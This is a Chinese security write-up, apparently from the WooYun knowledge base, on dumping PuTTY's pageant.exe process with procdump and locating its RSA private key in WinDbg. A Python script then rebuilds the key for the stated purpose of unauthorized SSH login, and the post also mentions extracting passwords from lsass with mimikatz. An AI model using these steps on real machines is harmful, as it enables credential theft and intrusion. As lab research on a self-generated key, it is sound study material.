Memory Dump利用例項
0x00 前言
眾所周知,procdump可以獲得程式的記憶體dump檔案 最常見的用法如下:
1、使用procdump抓取lsass程式
2、獲得LSASS程式記憶體dump檔案
3、用mimikatz解析dump檔案
4、獲取主機明文密碼
那麼,我們是否可以大膽設想一下,能否使用procdump抓取其他程式記憶體檔案,進而獲得記憶體中的敏感資訊呢?
0x01 目標
嘗試使用procdump獲取putty ssh登入的金鑰,實現非授權登入目標Linux伺服器
0x02 測試環境
目標:
作業系統:Win7 x86
程式:
putty.exe: SSH 客戶端
pageant.exe:PuTTY的SSH認證代理,用這個可以不用每次登入輸入口令
使用工具:
procdump
windbg 6.3.9600
0x03 環境搭建
1、工具下載地址:
Putty工具集:
http://the.earth.li/~sgtatham/putty/latest/x86/putty.zip
windbg 6.3.9600下載地址:
http://download.csdn.net/detail/ytfrdfiw/8182431
2、主機環境配置
(1)生成密匙
在目標主機執行puttygen.exe,選擇需要的密匙型別和長度,使用預設的SSH2(RSA),長度設定為1024 點選Save private key 儲存公私鑰
如圖
(2)上傳公鑰
登入Linux伺服器,然後執行如下命令:
$ cd ~
$ mkdir .ssh
$ chmod 700 .ssh
$ cd .ssh
$ cat > authorized_keys
貼上公鑰
$ chmod 600 authorized_keys
如圖
(3)匯入私鑰實現自動登入
執行pageant匯入私鑰,執行putty.exe自動登入
如圖
Tips:
出現PuTTY:server refused our key
無法自動登入的解決方法:
禁用系統的selinux
功能,命令#setenforce 0
0x04 實際測試
1、獲取程式pageant的記憶體檔案
執行:
Procdump.exe -accepteula -ma pageant.exe lsass5putty.dmp
如圖
2、使用WinDBG定位記憶體檔案
使用Windbg
載入lsass5putty.dmp
檔案,alt+5
檢視記憶體資訊
Tips:
WinDbg需要作如下設定:
執行WinDbg->選單->File->Symbol File Path
在 彈出的框中輸入“C:\MyCodesSymbols; SRV*C:\MyLocalSymbols*http://msdl.microsoft.com/download/symbols”(按照這樣設定,WinDbg將先從本地資料夾C:\MyCodesSymbols中查詢Symbol,如果找不到,則自動從MS的Symbol Server上下載Symbols,資料夾C:\MyCodesSymbols需要提前建立)
否則會出現ERROR: Symbol file could not be found
(1)檢視starting offset
定位00420d2c
如圖
說明:
00420d2c
為變數ssh2keys
固定的起始地址
後面提到的結構體參照原始碼中的tree234.c
和sshpubk.c
檔案,
研究具體結構執行過程參照c原始碼就好
原始碼下載地址:
http://tartarus.org/~simon/putty-snapshots/putty-src.zip
(2)檢視tree234_Tag
定位01361f10
如圖
struct tree234_Tag{
node234 *root=013607c0;
cmpfn234 cmp=0040f0a5;
};
(3)檢視node234_Tag
定位013607c0
如圖
struct node234_Tag{
node234 *parent=00000000;
node234 *kids[4]={00000000,00000000,00000000,00000000};
int counts[4]={00000000,00000000,00000000,00000000};
void *elems[3]={01364fc8,00000000,00000000};
};
(4)檢視elems[0]
定位01364fc8
如圖
struct ssh2_userkey{
const struct ssh_signkey *alg=0041c83c;
void *data=01360b30;
char *comment=01360858;
};
(5)確認是否找到ssh2_userkey,檢視*comment
定位01360858
如圖
發現字元rsa-key-20150908
(6)檢視RSAKey,即*data
定位01360b30
如圖
struct RSAKey{
int bits=01363f38;
int bytes=013600c4;
Bignum modulus=01360b70;
Bignum exponent=01360b60;
Bignum private_expinent=01363f38;
Bignum p=01363fc8;
Bignum q=01364018;
Bignum iqmp=01364068;
char *comment=00000000;
};
(7)獲取RSA key
RSA key格式:
Construct an RSA key object from a tuple of valid RSA components.
See RSAImplementation.construct.
Parameters:
tup (tuple) - A tuple of long integers, with at least 2 and no more than 6 items. The items come in the following order:
RSA modulus (n).
Public exponent (e).
Private exponent (d). Only required if the key is private.
First factor of n (p). Optional.
Second factor of n (q). Optional.
CRT coefficient, (1/p) mod q (u). Optional.
Returns:
An RSA key object (_RSAobj).
RSA modulus:
定位01360b70
如圖
第一位00000020
表示讀取長度,轉為10進製為32,讀取長度為32
RSA modulus
為
004b8e2f be2db5f7 575b3f42 3b9b6774 f0924e40 1418b4a9 7af433cf
4df68526 e2866be4 6ba6a84d b49941c8 ea8462d9 b5ca8e6d 555a0f1b 3b084437
066a5319 65a69b95 c596daa8 ab89949e 1823d812 cdff4adb 6efe09cc 003d765c
925d10c5 2aabc14e 71f7621d fa84e9ed 8d8da1b0 9a156896 c41a0d2f b95f8c7d
5aa2ae5a
Public exponent:
定位01360b60
如圖
第一位00000001表示讀取長度,轉為10進製為1,讀取長度為1
Public exponent為0x25
Private exponent:
定位01363f38
如圖
第一位00000020表示讀取長度,轉為10進製為32,讀取長度為32
Private exponent為
6c5c9ead 1f5b1e50 47b1b98e 231ed4b9 a2319931 24f1ebda 9650c9fd
44735efe 7dce99ee de1bb6d9 b6e28e4b ad7f096a 0fa86baf 1f9ffb4d de181a88
fedb8599 47efbf03 d4e866c6 04a2da80 6f5aea2a 51acf42f 02fff26d e454b02c
8e558ad4 2aaab232 4159b68b e42d1b14 1f805e50 1fd710aa 88c26f0f 12d911a2
02731978
(8)生成RSA key
import sys
import base64
from Crypto.PublicKey import RSA
def string_to_long(data):
data = data.split(' ')
data.reverse()
return long(("".join(data)),16)
if __name__ == "__main__":
#setup the primitives
rsamod = string_to_long('004b8e2f be2db5f7 575b3f42 3b9b6774 f0924e40 1418b4a9 7af433cf 4df68526 e2866be4 6ba6a84d b49941c8 ea8462d9 b5ca8e6d 555a0f1b 3b084437 066a5319 65a69b95 c596daa8 ab89949e 1823d812 cdff4adb 6efe09cc 003d765c 925d10c5 2aabc14e 71f7621d fa84e9ed 8d8da1b0 9a156896 c41a0d2f b95f8c7d 5aa2ae5a')
rsapubexp = long(0x25)
rsaprivexp = string_to_long('6c5c9ead 1f5b1e50 47b1b98e 231ed4b9 a2319931 24f1ebda 9650c9fd 44735efe 7dce99ee de1bb6d9 b6e28e4b ad7f096a 0fa86baf 1f9ffb4d de181a88 fedb8599 47efbf03 d4e866c6 04a2da80 6f5aea2a 51acf42f 02fff26d e454b02c 8e558ad4 2aaab232 4159b68b e42d1b14 1f805e50 1fd710aa 88c26f0f 12d911a2 02731978')
rawkey = (rsamod,rsapubexp,rsaprivexp)
#construct the desired RSA key
rsakey = RSA.construct(rawkey)
#print the object, publickey, privatekey
print rsakey
print rsakey.publickey().exportKey('PEM')
print rsakey.exportKey('PEM')
print 'OpenSSH format Public:'
print rsakey.publickey().exportKey('OpenSSH')
儲存為a.py後執行得到公私鑰
如圖
同puttygen.exe生成的公鑰做對比
如圖
Tips:
此段python指令碼使用print rsakey.publickey().exportKey('OpenSSH')輸出驗證公鑰的正確
私鑰無法使用print rsakey.exportKey('OpenSSH')輸出
原因如下:
如圖
3、利用獲取的私鑰遠端登入
0x05 補充
https://blog.netspi.com/stealing-unencrypted-ssh-agent-keys-from-memory/
http://www.oschina.net/translate/stealing-unencrypted-ssh-agent-keys-from-memory
/tips/?id=2719
如上鍊接,之前有人介紹過“從記憶體中竊取未加密的SSH-agent金鑰”,但該方法是針對linxu環境的記憶體dump,透過python指令碼直接解析 而本文例項是對windows下使用procdump抓取程式記憶體檔案,進而獲得記憶體中的敏感資訊的一種嘗試探索,全部操作過程完全可以使用一個py檔案實現。 參考連結:
http://www.poluoluo.com/server/201107/138424.html
http://blog.sina.com.cn/s/blog_5f5e2ce50101788l.html
https://www.dlitz.net/software/pycrypto/api/current/
https://diablohorn.wordpress.com/2015/09/04/discovering-the-secrets-of-a-pageant-minidump/
0x06 小結
本文僅測試了putty&pageant的記憶體金鑰獲取,證明了思路的正確 更多測試持續進行中
本文由三好學生原創並首發於烏雲知識庫,轉載請註明
相關文章
- 三個例項演示 Java Thread Dump 日誌分析2021-03-04Javathread
- 利用白名單繞過360例項2020-08-19
- .net core-利用PdfSharpCore 操作PDF例項2022-12-26RPC
- CRLF Injection漏洞的利用與例項分析2020-08-19
- 利用jstack定位典型效能問題例項2021-02-20JS
- jQuery利用name匹配元素程式碼例項2018-07-03jQuery
- Android記憶體優化(四)解析Memory Monitor、Allocation Tracker和Heap Dump2019-02-27Android記憶體優化
- GPU程式設計(五): 利用好shared memory2019-02-18GPU程式設計
- php例項化物件的例項方法2021-10-24PHP物件
- 專家解讀:利用Angular專案與資料庫融合例項2020-06-23Angular資料庫
- unittest例項2024-08-17
- OkHttpClient例項2023-11-07HTTPclient
- jQuery 例項2022-08-04jQuery
- 利用dotnet-dump分析docker容器記憶體洩露2021-01-12Docker記憶體洩露
- vue利用axios來完成資料的互動例項及安裝方法2018-03-22VueiOS
- Activiti的流程例項【ProcessInstance】與執行例項【Execution】2020-10-19
- 策略模式例項2024-03-18模式
- Draggable 拖拽例項2024-04-09
- python例項12024-05-26Python
- 類和例項2024-06-10
- pinctrl使用例項2024-03-23
- SQLMAP 例項COOKBOOK2020-08-19SQL
- Java例項教程2020-10-26Java
- expect使用例項2021-12-04
- 例項化list2019-03-27
- msfvenom使用例項2018-09-30
- ORM 例項教程2019-02-18ORM
- 雙層 for 例項2018-07-03
- python socket例項2018-07-25Python
- Proxy例項set()2018-03-27
- 如何區分例項化網格中的每個例項2024-11-04
- 如何將獨立例項轉換成叢集例項EU2022-03-21
- 從反序列化到型別混淆漏洞——記一次 ecshop 例項利用2020-07-09型別
- Java--例項化2024-08-10Java
- Makefile例項學習2024-06-16
- python鬧鐘例項2024-03-27Python
- SoapUI入門例項2021-10-18UI
- Oracle Far Sync例項2022-02-03Oracle